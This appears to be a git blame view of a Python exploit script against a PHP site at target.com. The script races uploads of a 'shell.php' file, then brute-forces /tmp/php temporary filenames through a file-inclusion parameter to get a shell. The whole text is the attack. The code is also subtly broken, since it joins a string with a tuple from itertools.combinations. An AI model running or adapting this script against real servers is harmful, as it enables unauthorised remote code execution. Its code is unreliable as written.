2019-02-17 22:47:18 +00:00
|
|
|
from __future__ import print_function
|
|
|
|
|
from builtins import range
|
2018-08-26 13:43:26 +00:00
|
|
|
import itertools
|
|
|
|
|
import requests
|
2018-09-02 11:24:35 +00:00
|
|
|
import string
|
2018-08-26 13:43:26 +00:00
|
|
|
import sys
|
|
|
|
|
|
|
|
|
|
print('[+] Trying to win the race')
|
|
|
|
|
f = {'file': open('shell.php', 'rb')}
|
|
|
|
|
for _ in range(4096 * 4096):
|
|
|
|
|
requests.post('http://target.com/index.php?c=index.php', f)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print('[+] Bruteforcing the inclusion')
|
|
|
|
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
|
|
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
|
|
|
r = requests.get(url)
|
|
|
|
|
if 'load average' in r.text: # <?php echo system('uptime');
|
|
|
|
|
print('[+] We have got a shell: ' + url)
|
|
|
|
|
sys.exit(0)
|
|
|
|
|
|
2018-09-02 11:24:35 +00:00
|
|
|
print('[x] Something went wrong, please try again')
|
